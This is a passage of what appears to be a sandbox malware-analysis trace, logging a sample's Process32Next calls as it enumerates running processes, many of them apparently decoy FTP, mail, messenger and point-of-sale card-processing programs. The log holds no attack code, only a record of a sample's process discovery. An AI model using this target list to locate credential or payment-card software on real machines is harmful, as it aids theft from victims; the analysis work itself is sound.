dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.582] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.584] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.586] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.588] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.590] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.592] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.594] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.596] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.598] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.599] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0233.603] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.605] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.607] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0233.608] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0233.611] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0233.613] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0233.615] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0233.617] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0233.618] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0233.620] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.622] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.624] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0233.626] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.628] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.629] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0233.631] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0233.633] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0233.635] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0233.636] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0233.638] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0233.640] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0233.642] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0233.643] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0233.650] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0233.685] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0233.687] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0233.690] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0233.692] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0233.695] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0233.697] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0233.700] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0233.702] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0233.704] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0233.707] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0233.709] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0233.711] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0233.713] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0233.718] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0233.722] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0233.725] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0233.728] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0233.731] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0233.734] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0233.737] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0233.740] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0233.744] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0233.747] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0233.749] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0233.756] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0233.757] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0233.759] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0233.761] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0233.763] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0233.765] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0233.767] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0233.769] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0233.771] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0233.773] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0233.776] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0233.778] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0233.780] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0233.781] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0233.783] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0233.786] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0233.788] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0233.789] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0233.791] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0233.793] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0233.826] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0233.828] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0233.830] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0233.831] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0233.833] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 